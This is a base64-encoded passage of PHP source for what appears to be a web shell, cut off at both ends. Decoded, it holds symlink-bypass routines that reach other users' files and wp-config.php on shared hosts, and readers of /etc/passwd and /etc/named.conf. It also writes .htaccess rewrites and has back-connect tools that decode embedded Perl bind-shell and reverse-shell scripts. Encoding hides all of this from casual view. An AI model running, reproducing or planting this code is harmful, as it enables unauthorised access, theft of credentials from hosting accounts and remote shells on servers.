MDQnPlN5bWxpbmsgNDA0PC9hPiBdIFsgPGEgaHJlZj0nP2Rpcj0kZGlyJmFrc2k9c3ltX2J5cGFzJz5TeW1saW5rIEJ5cGFzczwvYT4gXQ0KCQk8ZGl2IGNsYXNzPSd0bXAnPg0KCQk8dGFibGUgY2xhc3M9J3RleHQtY2VudGVyIHRhYmxlLXJlc3BvbnNpdmUnPg0KCQkJPHRoZWFkIGNsYXNzPSdiZy1pbmZvJz4NCgkJCQk8dGg+Tm8uPC90aD4NCgkJCQk8dGg+RG9tYWluczwvdGg+DQoJCQkJPHRoPlVzZXJzPC90aD4NCgkJCQk8dGg+c3ltbGluayA8L3RoPg0KCQkJPC90aGVhZD4iOw0KCQkJJGRjb3VudCA9IDE7DQoJCQlmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pew0KCQkJCWlmKGVyZWdpKCJ6b25lIiwkZDBtYWluKSl7DQoJCQkJCXByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGQwbWFpbiwgJGRvbWFpbnMpOw0KCQkJCQlmbHVzaCgpOw0KCQkJCQlpZihzdHJsZW4odHJpbSgkZG9tYWluc1sxXVswXSkpID4gMil7DQoJCQkJCQkkdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluc1sxXVswXSkpOw0KCQkJCQkJZWNobyAiPHRyPg0KCQkJCQkJCTx0ZD4iLiRkY291bnQuIjwvdGQ+DQoJCQkJCQkJPHRkIGNsYXNzPSd0ZXh0LWxlZnQnPjxhIGhyZWY9aHR0cDovL3d3dy4iLiRkb21haW5zWzFdWzBdLiIvPiIuJGRvbWFpbnNbMV1bMF0uIjwvYT48L3RkPg0KCQkJCQkJCTx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+DQoJCQkJCQkJPHRkPjxhIGhyZWY9JyRmdWxsL2FuZ2tvbF9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sJyB0YXJnZXQ9J19ibGFuayc+U3ltbGluazwvYT48L3RkPg0KCQkJCQkJPC90cj4iOw0KCQkJCQkJZmx1c2goKTsNCgkJCQkJCSRkY291bnQrKzsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJZWNobyAiPC90YWJsZT48L2Rpdj4iOw0KCX1lbHNlew0KCQkkVEVTVCA9IEBmaWxlKCcvZXRjL3Bhc3N3ZCcpOw0KCQlpZiAoJFRFU1Qpew0KCQkJQG1rZGlyKCJhbmdrb2xfc3ltIiwwNzc3KTsNCgkJCUBjaGRpcigiYW5na29sX3N5bSIpOw0KCQkJQGV4ZSgibG4gLXMgLyByb290Iik7DQoJCQkkZmlsZTMgPSAnT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQoJCQlEaXJlY3RvcnlJbmRleCBpbmRzYy5odG1sDQoJCQlBZGRUeXBlIHRleHQvcGxhaW4gcGhwIGh0bWwgcGhwNSBwaHRtbA0KCQkJQWRkSGFuZGxlciB0ZXh0L3BsYWluIHBocCBodG1sIHBocDUgcGh0bWwNCgkJCVNhdGlzZnkgQW55JzsNCgkJCSRmcDMgPSBmb3BlbignLmh0YWNjZXNzJywndycpOw0KCQkJJGZ3MyA9IGZ3cml0ZSgkZnAzLCRmaWxlMyk7DQoJCQlAZmNsb3NlKCRmcDMpOw0KCQkJZWNobyAiWyA8YSBocmVmPSc/ZGlyPSRkaXImYWtzaT1zeW1yZWFkJz5CeXBhc3MgUmVhZDwvYT4gXSBbIDxhIGhyZWY9Jz9kaXI9JGRpciZha3NpPXN5bV80MDQnPlN5bWxpbmsgNDA0PC9hPiBdIFsgPGEgaHJlZj0nP2Rpcj0kZGlyJmFrc2k9c3ltX2J5cGFzJz5TeW1saW5rIEJ5cGFzczwvYT4gXQ0KCQkJPGRpdiBjbGFzcz0ndG1wJz4NCgkJCTx0YWJsZSBjbGFzcz0ndGV4dC1jZW50ZXIgdGFibGUtcmVzcG9uc2l2ZSc+DQoJCQkJPHRoZWFkIGNsYXNzPSdiZy13YXJuaW5nJz4NCgkJCQkJPHRoPk5vLjwvdGg+DQoJCQkJCTx0aD5Vc2VyczwvdGg+DQoJCQkJCTx0aD5zeW1saW5rIDwvdGg+DQoJCQkJPC90aGVhZD4iOw0KCQkJCSRkY291bnQgPSAxOw0KCQkJCSRmaWxlID0gZm9wZW4oIi9ldGMvcGFzc3dkIiwgInIiKSBvciBleGl0KCJVbmFibGUgdG8gb3BlbiBmaWxlISIpOw0KCQkJCXdoaWxlKCFmZW9mKCRmaWxlKSl7DQoJCQkJCSRzID0gZmdldHMoJGZpbGUpOw0KCQkJCQkkbWF0Y2hlcyA9IGFycmF5KCk7DQoJCQkJCSR0ID0gcHJlZ19tYXRjaCgnL1wvKC4qPylcOlwvL3MnLCAkcywgJG1hdGNoZXMpOw0KCQkJCQkkbWF0Y2hlcyA9IHN0cl9yZXBsYWNlKCJob21lLyIsIiIsJG1hdGNoZXNbMV0pOw0KCQkJCQlpZihzdHJsZW4oJG1hdGNoZXMpID4gMTIgfHwgc3RybGVuKCRtYXRjaGVzKSA9PSAwIHx8ICRtYXRjaGVzID09ICJiaW4iIHx8ICRtYXRjaGVzID09ICJldGMvWDExL2ZzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2xpYi9uZnMiIHx8ICRtYXRjaGVzID09ICJ2YXIvYXJwd2F0Y2giIHx8ICRtYXRjaGVzID09ICJ2YXIvZ29waGVyIiB8fCAkbWF0Y2hlcyA9PSAic2JpbiIgfHwgJG1hdGNoZXMgPT0gInZhci9hZG0iIHx8ICRtYXRjaGVzID09ICJ1c3IvZ2FtZXMiIHx8ICRtYXRjaGVzID09ICJ2YXIvZnRwIiB8fCAkbWF0Y2hlcyA9PSAiZXRjL250cCIgfHwgJG1hdGNoZXMgPT0gInZhci93d3ciIHx8ICRtYXRjaGVzID09ICJ2YXIvbmFtZWQiKQ0KCQkJCQljb250aW51ZTsNCgkJCQkJZWNobyAiPHRyPg0KCQkJCQkJPHRkPiIuJGRjb3VudC4iPC90ZD4NCgkJCQkJCTx0ZD4iLiRtYXRjaGVzLiI8L3RkPg0KCQkJCQkJPHRkPjxhIGhyZWY9JGZ1bGwvYW5na29sX3N5bS9yb290L2hvbWUvIi4kbWF0Y2hlcy4iL3B1YmxpY19odG1sIHRhcmdldD0nX2JsYW5rJz5TeW1saW5rPC9hPjwvdGQ+DQoJCQkJCTwvdHI+IjsNCgkJCQkJJGRjb3VudCsrOw0KCQkJCX0NCgkJCQlmY2xvc2UoJGZpbGUpOw0KCQkJZWNobyAiPC90YWJsZT48L2Rpdj4iOw0KCQl9ZWxzZXsNCgkJaWYoJG9zICE9ICJXaW5kb3dzIil7DQoJCQlAbWtkaXIoImFuZ2tvbF9zeW0iLDA3NzcpOw0KCQkJQGNoZGlyKCJhbmdrb2xfc3ltIik7DQoJCQlAZXhlKCJsbiAtcyAvIHJvb3QiKTsNCgkJCSRmaWxlMyA9ICdPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MNCgkJCURpcmVjdG9yeUluZGV4IGluZHNjLmh0bWwNCgkJCUFkZFR5cGUgdGV4dC9wbGFpbiBwaHAgaHRtbCBwaHA1IHBodG1sDQoJCQlBZGRIYW5kbGVyIHRleHQvcGxhaW4gcGhwIGh0bWwgcGhwNSBwaHRtbA0KCQkJU2F0aXNmeSBBbnknOw0KCQkJJGZwMyA9IGZvcGVuKCcuaHRhY2Nlc3MnLCd3Jyk7DQoJCQkkZnczID0gZndyaXRlKCRmcDMsJGZpbGUzKTtAZmNsb3NlKCRmcDMpOw0KCQkJZWNobyAiWyA8YSBocmVmPSc/ZGlyPSRkaXImYWtzaT1zeW1yZWFkJz5CeXBhc3MgUmVhZDwvYT4gXSBbIDxhIGhyZWY9Jz9kaXI9JGRpciZha3NpPXN5bV80MDQnPlN5bWxpbmsgNDA0PC9hPiBdIFsgPGEgaHJlZj0nP2Rpcj0kZGlyJmFrc2k9c3ltX2J5cGFzJz5TeW1saW5rIEJ5cGFzczwvYT4gXQ0KCQkJPGRpdiBjbGFzcz0ndG1wJz48dGFibGUgY2xhc3M9J3RleHQtY2VudGVyIHRhYmxlLXJlc3BvbnNpdmUnPg0KCQkJCTx0aGVhZCBjbGFzcz0nYmctZGFuZ2VyJz4NCgkJCQkJPHRoPklELjwvdGg+DQoJCQkJCTx0aD5Vc2VyczwvdGg+DQoJCQkJCTx0aD5zeW1saW5rIDwvdGg+DQoJCQkJPC90aGVhZD4iOw0KCQkJCSR0ZW1wID0gIiI7JHZhbDEgPSAwOyR2YWwyID0gMTAwMDsNCgkJCQlmb3IoOyR2YWwxIDw9ICR2YWwyOyR2YWwxKyspew0KCQkJCQkkdWlkID0gQHBvc2l4X2dldHB3dWlkKCR2YWwxKTsNCgkJCQkJaWYgKCR1aWQpJHRlbXAgLj0gam9pbignOicsJHVpZCkuIlxuIjsNCgkJCQl9DQoJCQkJZWNobyAnPGJyLz4nOyR0ZW1wID0gdHJpbSgkdGVtcCk7DQoJCQkJJGZpbGU1ID0gZm9wZW4oInRlc3QudHh0IiwidyIpOw0KCQkJCWZwdXRzKCRmaWxlNSwkdGVtcCk7DQoJCQkJZmNsb3NlKCRmaWxlNSk7JGRjb3VudCA9IDE7JGZpbGUgPQ0KCQkJCWZvcGVuKCJ0ZXN0LnR4dCIsICJyIikgb3IgZXhpdCgiVW5hYmxlIHRvIG9wZW4gZmlsZSEiKTsNCgkJCQl3aGlsZSghZmVvZigkZmlsZSkpew0KCQkJCQkkcyA9IGZnZXRzKCRmaWxlKTskbWF0Y2hlcyA9IGFycmF5KCk7DQoJCQkJCSR0ID0gcHJlZ19tYXRjaCgnL1wvKC4qPylcOlwvL3MnLCAkcywgJG1hdGNoZXMpOw0KCQkJCQkkbWF0Y2hlcyA9IHN0cl9yZXBsYWNlKCJob21lLyIsIiIsJG1hdGNoZXNbMV0pOw0KCQkJCQlpZihzdHJsZW4oJG1hdGNoZXMpID4gMTIgfHwgc3RybGVuKCRtYXRjaGVzKSA9PSAwIHx8ICRtYXRjaGVzID09ICJiaW4iIHx8ICRtYXRjaGVzID09ICJldGMvWDExL2ZzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2xpYi9uZnMiIHx8ICRtYXRjaGVzID09ICJ2YXIvYXJwd2F0Y2giIHx8ICRtYXRjaGVzID09ICJ2YXIvZ29waGVyIiB8fCAkbWF0Y2hlcyA9PSAic2JpbiIgfHwgJG1hdGNoZXMgPT0gInZhci9hZG0iIHx8ICRtYXRjaGVzID09ICJ1c3IvZ2FtZXMiIHx8ICRtYXRjaGVzID09ICJ2YXIvZnRwIiB8fCAkbWF0Y2hlcyA9PSAiZXRjL250cCIgfHwgJG1hdGNoZXMgPT0gInZhci93d3ciIHx8ICRtYXRjaGVzID09ICJ2YXIvbmFtZWQiKQ0KCQkJCQljb250aW51ZTsNCgkJCQkJZWNobyAiPHRyPg0KCQkJCQkJPHRkPiIuJGRjb3VudC4iPC90ZD4NCgkJCQkJCTx0ZD4iLiRtYXRjaGVzLiI8L3RkPg0KCQkJCQkJPHRkPjxhIGhyZWY9JGZ1bGwvQW5vblByaXhvcl9zeW0vcm9vdC9ob21lLyIuJG1hdGNoZXMuIi9wdWJsaWNfaHRtbCB0YXJnZXQ9J19ibGFuayc+U3ltbGluazwvYT48L3RkPg0KCQkJCQk8L3RyPiI7DQoJCQkJCSRkY291bnQrKzsNCgkJCQl9DQoJCQkJZmNsb3NlKCRmaWxlKTsNCgkJCWVjaG8gIjwvdGFibGU+PC9kaXY+IjsNCgkJCXVubGluaygidGVzdC50eHQiKTsNCgkJCX0NCgkJfQ0KCX0NCglleGl0Ow0KfQ0KZnVuY3Rpb24gYWtzaVN5bXJlYWQoJGRpciwkZmlsZSl7DQoJZWNobyAicmVhZCAvZXRjL25hbWVkLmNvbmYNCgk8Zm9ybSBtZXRob2Q9J3Bvc3QnIGFjdGlvbj0nP2Rpcj0kZGlyJmFrc2k9c3ltcmVhZCZzYXZlPTEnPg0KCTx0ZXh0YXJlYSBjbGFzcz0nZm9ybS1jb250cm9sJyByb3dzPScxMycgbmFtZT0nZmlsZSc+IjsNCgkJZmx1c2goKTsNCgkJZmx1c2goKTsNCgkJJGZpbGUgPSAnL2V0Yy9uYW1lZC5jb25mJzsNCgkJJHIzYWQgPSBAZm9wZW4oJGZpbGUsICdyJyk7DQoJCWlmICgkcjNhZCl7DQoJCQkkY29udGVudCA9IEBmcmVhZCgkcjNhZCwgQGZpbGVzaXplKCRmaWxlKSk7DQoJCQllY2hvICIiLmh0bWxlbnRpdGllcygkY29udGVudCkuIiI7DQoJCX1lbHNlIGlmICghJHIzYWQpew0KCQkJJHIzYWQgPSBAc2hvd19zb3VyY2UoJGZpbGUpIDsNCgkJfWVsc2UgaWYgKCEkcjNhZCl7DQoJCQkkcjNhZCA9IEBoaWdobGlnaHRfZmlsZSgkZmlsZSk7DQoJCX1lbHNlIGlmICghJHIzYWQpew0KCQkJJHNtID0gQHN5bWxpbmsoJGZpbGUsJ3N5bS50eHQnKTsNCgkJCWlmICgkc20pew0KCQkJCSRyM2FkID0gQGZvcGVuKCdBbm9uUHJpeG9yX3N5bS9zeW0udHh0JywgJ3InKTsNCgkJCQkkY29udGVudCA9IEBmcmVhZCgkcjNhZCwgQGZpbGVzaXplKCRmaWxlKSk7DQoJCQkJZWNobyAiIi5odG1sZW50aXRpZXMoJGNvbnRlbnQpLiIiOw0KCQkJfQ0KCQl9DQoJZWNobyAiPC90ZXh0YXJlYT48YnIvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIGNsYXNzPSdidG4gYnRuLWRhbmdlciBmb3JtLWNvbnRyb2wnIHZhbHVlPSdTYXZlJy8+IDwvZm9ybT4iOw0KCWlmKGlzc2V0KCRfR0VUWydzYXZlJ10pKXsNCgkJJGNvbnQgPSBzdHJpcGNzbGFzaGVzKCRfUE9TVFsnZmlsZSddKTsNCgkJJGYgPSBmb3BlbignbmFtZWQudHh0JywndycpOw0KCQkkdyA9IGZ3cml0ZSgkZiwkY29udCk7DQoJCWlmKCR3KXsNCgkJCWVjaG8gJzxici8+c2F2ZSBoYXMgYmVlbiBTdWNjZXNzZnVsbHknOw0KCQl9DQoJCWZjbG9zZSgkZik7DQoJfQ0KCWV4aXQ7DQp9DQpmdW5jdGlvbiBzeW00MDQoJGRpciwkZmlsZSl7DQoJJGNwID0gZ2V0X2N1cnJlbnRfdXNlcigpOw0KCWlmKCRfUE9TVFsnZXhlY3V0ZSddKXsNCgkJQHJtZGlyKCJhbmdrb2xfc3ltNDA0Iik7DQoJCUBta2RpcigiYW5na29sX3N5bTQwNCIsIDA3NzcpOw0KCQkkZGlyID0gJF9QT1NUWydkaXInXTsNCgkJJGlzaSA9ICRfUE9TVFsnaXNpJ107DQoJCUBzeXN0ZW0oImxuIC1zICIuJGRpci4iYW5na29sX3N5bTQwNC8iLiRpc2kpOw0KCQlAc3ltbGluaygkZGlyLCJhbmdrb2xfc3ltNDA0LyIuJGlzaSk7DQoJCSRpbmlqYSA9IGZvcGVuKCJhbmdrb2xfc3ltNDA0Ly5odGFjY2VzcyIsICJ3Iik7DQoJCUBmd3JpdGUoJGluaWphLCJSZWFkbWVOYW1lICIuJGlzaS4iXG5PcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3NcbkRpcmVjdG9yeUluZGV4IGlkcy5odG1sXG5BZGRUeXBlIHRleHQvcGxhaW4gcGhwIGh0bWwgcGhwNSBwaHRtbFxuQWRkSGFuZGxlciB0ZXh0L3BsYWluIHBocCBodG1sIHBocDUgcGh0bWxcblNhdGlzZnkgQW55Iik7DQoJCWVjaG8nPGEgaHJlZj0iL2FuZ2tvbF9zeW00MDQvIiB0YXJnZXQ9Il9ibGFuayIgY2xhc3M9ImJ0biBidG4tU3VjY2VzcyBidG4tYmxvY2sgbWItMyI+Q2xpY2sgTWUhITwvYT4nOw0KCX1lbHNlew0KCQllY2hvICc8aDI+U3ltbGluayA0MDQ8L2gyPg0KCQk8Zm9ybSBtZXRob2Q9InBvc3QiPg0KCQkJRmlsZSBUYXJnZXQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sIiBuYW1lPSJkaXIiIHZhbHVlPSIvaG9tZS8nLiRjcC4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAiPjxici8+DQoJCQlTYXZlIEFzOiA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImZvcm0tY29udHJvbCIgbmFtZT0iaXNpIiBwbGFjZWhvbGRlcj0iZmlsZS50eHQiLz48YnIvPg0KCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tZGFuZ2VyIGJ0bi1ibG9jayIgdmFsdWU9IkV4ZWN1dGUiIG5hbWU9ImV4ZWN1dGUiLz4NCgkJCTxwIGNsYXNzPSJ0ZXh0LW11dGVkIj5UaGlzIFRvb2wgb25seSB3b3JrIGluIEZvbGRlciB8PHU+cHVibGljX2h0bWwvd3AtY29uZmlnLnBocDwvdT58IFNvIHBsZWFzZSBjaGFuZ2UgYWNjb3JkaW5nIHRvIGxvY2F0aW9uLjwvcD4NCgkJPC9mb3JtPic7DQoJfQ0KCWV4aXQ7DQp9DQpmdW5jdGlvbiBzeW1CeXBhc3MoJGRpciwkZmlsZSl7DQoJJGZ1bGwgPSBzdHJfcmVwbGFjZSgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLCAiIiwgJGRpcik7DQoJJHBhZ2VGVFAgPSAnZnRwOi8vJy4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4nL3B1YmxpY19odG1sLycuJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQoJJHUgPSBleHBsb2RlKCIvIiwkcGFnZUZUUCApOw0KCSRwYWdlRlRQID1zdHJfcmVwbGFjZSgkdVtjb3VudCgkdSktMV0sIiIsJHBhZ2VGVFAgKTsNCglpZihpc3NldCgkX0dFVFsnc2F2ZSddKSBhbmQgaXNzZXQoJF9QT1NUWydmaWxlJ10pIG9yIEBmaWxlc2l6ZSgncGFzc3dkLnR4dCcpID4gMCl7DQoJCSRjb250ID0gc3RyaXBjc2xhc2hlcygkX1BPU1RbJ2ZpbGUnXSk7DQoJCWlmKCFmaWxlX2V4aXN0cygncGFzc3dkLnR4dCcpKXsNCgkJCSRmID0gQGZvcGVuKCdwYXNzd2QudHh0JywndycpOw0KCQkJJHcgPSBAZndyaXRlKCRmLCRjb250KTsNCgkJCWZjbG9zZSgkZik7DQoJCX0NCgkJaWYoJHcgb3IgQGZpbGVzaXplKCdwYXNzd2QudHh0JykgPiAwKXsNCgkJCWVjaG8gIjxkaXYgY2xhc3M9J3RtcCc+DQoJCQk8dGFibGUgd2lkdGg9JzEwMCUnIGNsYXNzPSd0ZXh0LWNlbnRlciB0YWJsZS1yZXNwb25zaXZlIG1iLTQnPg0KCQkJCTx0aGVhZCBjbGFzcz0nYmctaW5mbyc+DQoJCQkJCTx0aD5Vc2VyczwvdGg+DQoJCQkJCTx0aD5zeW1saW5rPC90aD4NCgkJCQkJPHRoPkZUUDwvdGg+DQoJCQkJPC90aGVhZD4iOw0KCQkJCWZsdXNoKCk7DQoJCQkJJGZpbDMgPSBmaWxlKCdwYXNzd2QudHh0Jyk7DQoJCQkJZm9yZWFjaCAoJGZpbDMgYXMgJGYpew0KCQkJCQkkdT1leHBsb2RlKCc6JywgJGYpOw0KCQkJCQkkdXNlciA9ICR1WycwJ107DQoJCQkJCWVjaG8gIjx0cj4NCgkJCQkJCTx0ZCBjbGFzcz0ndGV4dC1sZWZ0IHBsLTEnPiR1c2VyPC90ZD4NCgkJCQkJCTx0ZD48YSBocmVmPSckZnVsbC9zeW0vcm9vdC9ob21lLyR1c2VyL3B1YmxpY19odG1sJyB0YXJnZXQ9J19ibGFuayc+U3ltbGluayA8L2E+PC90ZD4NCgkJCQkJCTx0ZD48YSBocmVmPSckcGFnZUZUUC9zeW0vcm9vdC9ob21lLyR1c2VyL3B1YmxpY19odG1sJyB0YXJnZXQ9J19ibGFuayc+RlRQPC9hPjwvdGQ+DQoJCQkJCTwvdHI+IjsNCgkJCQkJZmx1c2goKTsNCgkJCQkJZmx1c2goKTsNCgkJCQl9DQoJCQllY2hvICI8L3RyPjwvdGFibGU+PC9kaXY+IjsNCgkJCWRpZSgpOw0KCQl9DQoJfQ0KCWVjaG8gInJlYWQgL2V0Yy9wYXNzd2QgPGZvbnQgY29sb3I9J3JlZCc+RXJyb3IgPyAgPC9mb250PjxhIGhyZWY9Jz9kaXI9Ii4kZGlyLiImYWtzaT1wYXNzd2J5cGFzcyc+QnlwYXNzIEhlcmU8L2E+DQoJPGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb249Jz9kaXI9JGRpciZha3NpPXN5bV9ieXBhcyZzYXZlPTEnPg0KCQk8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCcgcm93cz0nMTMnIG5hbWU9J2ZpbGUnPiI7DQoJCQlmbHVzaCgpOw0KCQkJJGZpbGUgPSAnL2V0Yy9wYXNzd2QnOw0KCQkJJHIzYWQgPSBAZm9wZW4oJGZpbGUsICdyJyk7DQoJCQlpZiAoJHIzYWQpew0KCQkJCSRjb250ZW50ID0gQGZyZWFkKCRyM2FkLCBAZmlsZXNpemUoJGZpbGUpKTsNCgkJCQllY2hvICIiLmh0bWxlbnRpdGllcygkY29udGVudCkuIiI7DQoJCQl9ZWxzZWlmKCEkcjNhZCl7DQoJCQkJJHIzYWQgPSBAc2hvd19zb3VyY2UoJGZpbGUpIDsNCgkJCX1lbHNlaWYoISRyM2FkKXsNCgkJCQkkcjNhZCA9IEBoaWdobGlnaHRfZmlsZSgkZmlsZSk7DQoJCQl9ZWxzZWlmKCEkcjNhZCl7DQoJCQkJZm9yKCR1aWQ9MDskdWlkPDEwMDA7JHVpZCsrKXsNCgkJCQkkYXJhID0gcG9zaXhfZ2V0cHd1aWQoJHVpZCk7DQoJCQkJaWYgKCFlbXB0eSgkYXJhKSl7DQoJCQkJCXdoaWxlIChsaXN0ICgka2V5LCAkdmFsKSA9IGVhY2goJGFyYSkpew0KCQkJCQkJcHJpbnQgIiR2YWw6IjsNCgkJCQkJfQ0KCQkJCQlwcmludCAiXG4iOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQlmbHVzaCgpOw0KCQllY2hvICI8L3RleHRhcmVhPjxici8+DQoJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIGNsYXNzPSdidG4gYnRuLWRhbmdlciBidG4tYmxvY2snIHZhbHVlPSdTeW1saW5rJy8+DQoJPC9mb3JtPiI7DQoJZmx1c2goKTsNCglleGl0Ow0KfQ0KZnVuY3Rpb24gYmNUb29sKCRkaXIsJGZpbGUpew0KCWVjaG8gIjxoNCBjbGFzcz0ndGV4dC1jZW50ZXIgbWItNCc+QmFjayBDb25uZWN0IFRvb2xzPC9oND4NCgk8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCQk8ZGl2IGNsYXNzPSdyb3cnPg0KCQkJPGRpdiBjbGFzcz0nY29sLW1kLTEwJz4NCgkJCQk8c3Bhbj5CaW5kIHBvcnQgdG8gL2Jpbi9zaCBbUGVybF08L3NwYW4+PGJyLz4NCgkJCQk8bGFiZWw+UG9ydCA6PC9sYWJlbD4NCgkJCQk8ZGl2IGNsYXNzPSdmb3JtLWdyb3VwIGlucHV0LWdyb3VwIG1iLTQnPg0KCQkJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgY2xhc3M9J2Zvcm0tY29udHJvbCcgdmFsdWU9JzY5NjknPg0KCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdicGwnIGNsYXNzPSdidG4gYnRuLWRhbmdlciBmb3JtLWNvbnRyb2wnIHZhbHVlPSdSZXNlcnZlJz4NCgkJCQk8L2Rpdj4NCgkJCQk8aDU+QmFjay1Db25uZWN0PC9oNT4NCgkJCQk8bGFiZWw+U2VydmVyIDo8L2xhYmVsPg0KCQkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzZXJ2ZXInIGNsYXNzPSdmb3JtLWNvbnRyb2wgbWItMycgcGxhY2Vob2xkZXI9JyIuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4iJz4NCgkJCQk8bGFiZWw+UG9ydCA6PC9sYWJlbD4NCgkJCQk8ZGl2IGNsYXNzPSdmb3JtLWdyb3VwIGlucHV0LWdyb3VwIG1iLTQnPg0KCQkJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgY2xhc3M9J2Zvcm0tY29udHJvbCcgcGxhY2Vob2xkZXI9JzQ0Myc+DQoJCQkJCTxzZWxlY3QgY2xhc3M9J2Zvcm0tY29udHJvbCcgbmFtZT0nYmFja2Nvbm5lY3QnPg0KCQkJCQkJPG9wdGlvbiB2YWx1ZT0ncGVybCc+UGVybDwvb3B0aW9uPg0KCQkJCQkJPG9wdGlvbiB2YWx1ZT0ncGhwJz5QSFA8L29wdGlvbj4NCgkJCQkJCTxvcHRpb24gdmFsdWU9J3B5dGhvbic+UHl0aG9uPC9vcHRpb24+DQoJCQkJCQk8b3B0aW9uIHZhbHVlPSdydWJ5Jz5SdWJ5PC9vcHRpb24+DQoJCQkJCTwvc2VsZWN0Pg0KCQkJCTwvZGl2Pg0KCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIGNsYXNzPSdidG4gYnRuLWRhbmdlciBidG4tYmxvY2snIHZhbHVlPSdDb25uZWN0Jz4NCgkJCTwvZGl2Pg0KCQk8L2Rpdj4NCgk8L2Zvcm0+IjsNCglpZigkX1BPU1RbJ2JwbCddKXsNCgkJJGJwID0gYmFzZTY0X2RlY29kZSgiSXlFdmRYTnlMMkpwYmk5d1pYSnNEUW9rVTBoRlRFdzlJaTlpYVc0dmMyZ2dMV2tpT3cwS2FXWWdLRUJCVWtkV0lEd2dNU2tnZXlCbGVHbDBLREVwT3lCOURRcDFjMlVnVTI5amEyVjBPdzBLYzI5amEyVjBLRk1zSmxCR1gwbE9SVlFzSmxOUFEwdGZVMVJTUlVGTkxHZGxkSEJ5YjNSdllubHVZVzFsS0NkMFkzQW5LU2tnZkh3Z1pHbGxJQ0pEWVc1MElHTnlaV0YwWlNCemIyTnJaWFJjYmlJN0RRcHpaWFJ6YjJOcmIzQjBLRk1zVTA5TVgxTlBRMHRGVkN4VFQxOVNSVlZUUlVGRVJGSXNNU2s3RFFwaWFXNWtLRk1zYzI5amEyRmtaSEpmYVc0b0pFRlNSMVpiTUYwc1NVNUJSRVJTWDBGT1dTa3BJSHg4SUdScFpTQWlRMkZ1ZENCdmNHVnVJSEJ2Y25SY2JpSTdEUXBzYVhOMFpXNG9VeXd6S1NCOGZDQmthV1VnSWtOaGJuUWdiR2x6ZEdWdUlIQnZjblJjYmlJN0RRcDNhR2xzWlNneEtTQjdEUW9KWVdOalpYQjBLRU5QVGs0c1V5azdEUW9KYVdZb0lTZ2tjR2xrUFdadmNtc3BLU0I3RFFvSkNXUnBaU0FpUTJGdWJtOTBJR1p2Y21zaUlHbG1JQ2doWkdWbWFXNWxaQ0FrY0dsa0tUc05DZ2tKYjNCbGJpQlRWRVJKVGl3aVBDWkRUMDVPSWpzTkNna0piM0JsYmlCVFZFUlBWVlFzSWo0bVEwOU9UaUk3RFFvSkNXOXdaVzRnVTFSRVJWSlNMQ0krSmtOUFRrNGlPdzBLQ1FsbGVHVmpJQ1JUU0VWTVRDQjhmQ0JrYVdVZ2NISnBiblFnUTA5T1RpQWlRMkZ1ZENCbGVHVmpkWFJsSUNSVFNFVk1URnh1SWpzTkNna0pZMnh2YzJVZ1EwOU9UanNOQ2drSlpYaHBkQ0F3T3cwS0NYME5DbjA9Iik7DQoJCSRicnQgPSBAZm9wZW4oJ2JwLnBsJywndycpOw0KCQlmd3JpdGUoJGJydCwkYnApOw0KCQkkb3V0ID0gZXhlKCJwZXJsIGJwLnBsICIuJF9QT1NUWydwb3J0J10uIiAxPi9kZXYvbnVsbCAyPiYxICYiKTsNCgkJc2xlZXAoMSk7DQoJCWVjaG8gIjxwcmUgY2xhc3M9J3RleHQtbGlnaHQnPiRvdXRcbiIuZXhlKCJwcyBhdXggfCBncmVwIGJwLnBsIikuIjwvcHJlPiI7DQoJCXVubGluaygiYnAucGwiKTsNCgl9DQoJaWYoJF9QT1NUWydiYWNrY29ubmVjdCddID09ICdwZXJsJyl7DQoJCSRiYyA9IGJhc2U2NF9kZWNvZGUoIkl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR2xoWkdSeVBXbHVaWFJmWVhSdmJpZ2tRVkpIVmxzd1hTa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVHNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh